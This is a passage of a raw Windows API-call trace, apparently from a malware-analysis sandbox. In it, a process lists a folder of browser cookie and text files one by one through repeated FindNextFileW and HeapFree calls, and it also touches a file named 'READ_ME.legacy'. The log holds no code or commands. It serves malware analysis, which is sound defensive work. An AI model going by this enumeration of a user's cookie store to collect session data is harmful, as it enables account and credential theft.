lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa51b752a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa51b752a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa51b752a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="FN02L8WX.cookie", cAlternateFileName="FN02L8~1.COO")) returned 1 [0192.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5998 | out: hHeap=0x520000) returned 1 [0192.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f798f8 | out: hHeap=0x520000) returned 1 [0192.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67788 | out: hHeap=0x520000) returned 1 [0192.658] GetLastError () returned 0x0 [0192.658] SetLastError (dwErrCode=0x0) [0192.658] GetLastError () returned 0x0 [0192.658] SetLastError (dwErrCode=0x0) [0192.658] GetLastError () returned 0x0 [0192.658] SetLastError (dwErrCode=0x0) [0192.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.658] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa028e354, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa028e354, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa028e354, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="GI1ULL4B.cookie", cAlternateFileName="GI1ULL~1.COO")) returned 1 [0192.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5180 | out: hHeap=0x520000) returned 1 [0192.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79100 | out: hHeap=0x520000) returned 1 [0192.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.658] GetLastError () returned 0x0 [0192.658] SetLastError (dwErrCode=0x0) [0192.658] GetLastError () returned 0x0 [0192.658] SetLastError (dwErrCode=0x0) [0192.658] GetLastError () returned 0x0 [0192.659] SetLastError (dwErrCode=0x0) [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.659] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa261c6d0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa261c6d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa261c6d0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="GJQAXJS1.cookie", cAlternateFileName="GJQAXJ~1.COO")) returned 1 [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5620 | out: hHeap=0x520000) returned 1 [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78990 | out: hHeap=0x520000) returned 1 [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67c38 | out: hHeap=0x520000) returned 1 [0192.659] GetLastError () returned 0x0 [0192.659] SetLastError (dwErrCode=0x0) [0192.659] GetLastError () returned 0x0 [0192.659] SetLastError (dwErrCode=0x0) [0192.659] GetLastError () returned 0x0 [0192.659] SetLastError (dwErrCode=0x0) [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.659] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4b4e95d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa4b4e95d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa4b4e95d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x5b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="GVXIDORE.cookie", cAlternateFileName="GVXIDO~1.COO")) returned 1 [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d54f8 | out: hHeap=0x520000) returned 1 [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78dd0 | out: hHeap=0x520000) returned 1 [0192.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.660] GetLastError () returned 0x0 [0192.660] SetLastError (dwErrCode=0x0) [0192.660] GetLastError () returned 0x0 [0192.660] SetLastError (dwErrCode=0x0) [0192.660] GetLastError () returned 0x0 [0192.660] SetLastError (dwErrCode=0x0) [0192.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f636d8 | out: hHeap=0x520000) returned 1 [0192.660] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4756e4b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa4756e4b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa4756e4b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="H9FTOC54.cookie", cAlternateFileName="H9FTOC~1.COO")) returned 1 [0192.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6778 | out: hHeap=0x520000) returned 1 [0192.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0192.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67530 | out: hHeap=0x520000) returned 1 [0192.660] GetLastError () returned 0x0 [0192.660] SetLastError (dwErrCode=0x0) [0192.660] GetLastError () returned 0x0 [0192.660] SetLastError (dwErrCode=0x0) [0192.660] GetLastError () returned 0x0 [0192.660] SetLastError (dwErrCode=0x0) [0192.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.661] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa78f836a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa78f836a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa7901fab, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="H9MBWFAY.cookie", cAlternateFileName="H9MBWF~1.COO")) returned 1 [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5ac0 | out: hHeap=0x520000) returned 1 [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78e58 | out: hHeap=0x520000) returned 1 [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f679e0 | out: hHeap=0x520000) returned 1 [0192.661] GetLastError () returned 0x0 [0192.661] SetLastError (dwErrCode=0x0) [0192.661] GetLastError () returned 0x0 [0192.661] SetLastError (dwErrCode=0x0) [0192.661] GetLastError () returned 0x0 [0192.661] SetLastError (dwErrCode=0x0) [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.661] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbde1fca3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbde1fca3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbde45ebe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x4ab, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="IGINNTRA.cookie", cAlternateFileName="IGINNT~1.COO")) returned 1 [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6650 | out: hHeap=0x520000) returned 1 [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79298 | out: hHeap=0x520000) returned 1 [0192.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67d00 | out: hHeap=0x520000) returned 1 [0192.661] GetLastError () returned 0x0 [0192.661] SetLastError (dwErrCode=0x0) [0192.661] GetLastError () returned 0x0 [0192.662] SetLastError (dwErrCode=0x0) [0192.662] GetLastError () returned 0x0 [0192.662] SetLastError (dwErrCode=0x0) [0192.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.662] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa53bcf17, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa53bcf17, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa53bcf17, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="JPVRD62I.cookie", cAlternateFileName="JPVRD6~1.COO")) returned 1 [0192.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6650 | out: hHeap=0x520000) returned 1 [0192.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79540 | out: hHeap=0x520000) returned 1 [0192.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67b70 | out: hHeap=0x520000) returned 1 [0192.662] GetLastError () returned 0x0 [0192.662] SetLastError (dwErrCode=0x0) [0192.662] GetLastError () returned 0x0 [0192.662] SetLastError (dwErrCode=0x0) [0192.662] GetLastError () returned 0x0 [0192.662] SetLastError (dwErrCode=0x0) [0192.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f636d8 | out: hHeap=0x520000) returned 1 [0192.662] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd6d557f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xdd6d557f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdd6d7cb8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="K7RPYYP8.txt", cAlternateFileName="")) returned 1 [0192.662] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d53d0 | out: hHeap=0x520000) returned 1 [0192.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0192.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79760 | out: hHeap=0x520000) returned 1 [0192.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67918 | out: hHeap=0x520000) returned 1 [0192.663] GetLastError () returned 0x0 [0192.663] SetLastError (dwErrCode=0x0) [0192.663] GetLastError () returned 0x0 [0192.663] SetLastError (dwErrCode=0x0) [0192.663] GetLastError () returned 0x0 [0192.663] SetLastError (dwErrCode=0x0) [0192.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.663] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9cfd92ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9cfd92ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9cfe2f3d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="KEKFOROW.cookie", cAlternateFileName="KEKFOR~1.COO")) returned 1 [0192.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6af0 | out: hHeap=0x520000) returned 1 [0192.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78cc0 | out: hHeap=0x520000) returned 1 [0192.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.663] GetLastError () returned 0x0 [0192.663] SetLastError (dwErrCode=0x0) [0192.663] GetLastError () returned 0x0 [0192.663] SetLastError (dwErrCode=0x0) [0192.663] GetLastError () returned 0x0 [0192.664] SetLastError (dwErrCode=0x0) [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.664] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa28220ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa28220ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa28220ab, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="KFKOQYZF.cookie", cAlternateFileName="KFKOQY~1.COO")) returned 1 [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5f60 | out: hHeap=0x520000) returned 1 [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ff0 | out: hHeap=0x520000) returned 1 [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.664] GetLastError () returned 0x0 [0192.664] SetLastError (dwErrCode=0x0) [0192.664] GetLastError () returned 0x0 [0192.664] SetLastError (dwErrCode=0x0) [0192.664] GetLastError () returned 0x0 [0192.664] SetLastError (dwErrCode=0x0) [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f636d8 | out: hHeap=0x520000) returned 1 [0192.664] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xddd6454d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xddd6454d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xddd658c1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LA7BUP1E.txt", cAlternateFileName="")) returned 1 [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d52a8 | out: hHeap=0x520000) returned 1 [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78cc0 | out: hHeap=0x520000) returned 1 [0192.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.665] GetLastError () returned 0x0 [0192.665] SetLastError (dwErrCode=0x0) [0192.665] GetLastError () returned 0x0 [0192.665] SetLastError (dwErrCode=0x0) [0192.665] GetLastError () returned 0x0 [0192.665] SetLastError (dwErrCode=0x0) [0192.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.665] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6c3aecd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa6c3aecd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa6c44b28, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LNYM3IIG.cookie", cAlternateFileName="LNYM3I~1.COO")) returned 1 [0192.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d54f8 | out: hHeap=0x520000) returned 1 [0192.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79540 | out: hHeap=0x520000) returned 1 [0192.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67850 | out: hHeap=0x520000) returned 1 [0192.665] GetLastError () returned 0x0 [0192.665] SetLastError (dwErrCode=0x0) [0192.665] GetLastError () returned 0x0 [0192.665] SetLastError (dwErrCode=0x0) [0192.665] GetLastError () returned 0x0 [0192.665] SetLastError (dwErrCode=0x0) [0192.665] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.665] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9b6fb45b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9b6fb45b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9b6fb45b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="MADUEVPF.cookie", cAlternateFileName="MADUEV~1.COO")) returned 1 [0192.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d52a8 | out: hHeap=0x520000) returned 1 [0192.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79650 | out: hHeap=0x520000) returned 1 [0192.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.666] GetLastError () returned 0x0 [0192.666] SetLastError (dwErrCode=0x0) [0192.666] GetLastError () returned 0x0 [0192.666] SetLastError (dwErrCode=0x0) [0192.666] GetLastError () returned 0x0 [0192.666] SetLastError (dwErrCode=0x0) [0192.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f635e8 | out: hHeap=0x520000) returned 1 [0192.666] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf9dbaa8, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xdf9dbaa8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdf9dce54, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="NBLJVIM8.txt", cAlternateFileName="")) returned 1 [0192.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6d40 | out: hHeap=0x520000) returned 1 [0192.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.666] SetLastError (dwErrCode=0x0) [0192.667] GetLastError () returned 0x0 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] GetLastError () returned 0x0 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa319815d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa319815d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa319815d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x229, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="O6XCOUT8.cookie", cAlternateFileName="O6XCOU~1.COO")) returned 1 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] GetLastError () returned 0x0 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] GetLastError () returned 0x0 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd6edc54, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xdd6edc54, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdd6eefc7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="ODUED5IU.txt", cAlternateFileName="")) returned 1 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] GetLastError () returned 0x0 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] GetLastError () returned 0x0 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9d8b2f98, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d8b2f98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d8b2f98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xca, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="QPYWUTN9.cookie", cAlternateFileName="QPYWUT~1.COO")) returned 1 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] GetLastError () returned 0x0 [0192.667] SetLastError (dwErrCode=0x0) [0192.667] GetLastError () returned 0x0 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb76b62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb76b62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb76b62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] GetLastError () returned 0x0 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] GetLastError () returned 0x0 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd890fec7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd890fec7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd8911251, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="S7Q1EH8Y.txt", cAlternateFileName="")) returned 1 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] GetLastError () returned 0x0 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] GetLastError () returned 0x0 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9eb4f2f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd9eb4f2f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd9eb4f2f, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="UZ3Q0402.txt", cAlternateFileName="")) returned 1 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] GetLastError () returned 0x0 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] GetLastError () returned 0x0 [0192.668] SetLastError (dwErrCode=0x0) [0192.668] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2d8317c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa2d8317c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa2d8317c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="VFMAORI3.cookie", cAlternateFileName="VFMAOR~1.COO")) returned 1 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] GetLastError () returned 0x0 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] GetLastError () returned 0x0 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1054388, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb1054388, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb1054388, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="WIG5OBMH.cookie", cAlternateFileName="WIG5OB~1.COO")) returned 1 [0192.669] SetLastError (dwErrCode=0x0) [0192.669] GetLastError () returned 0x0 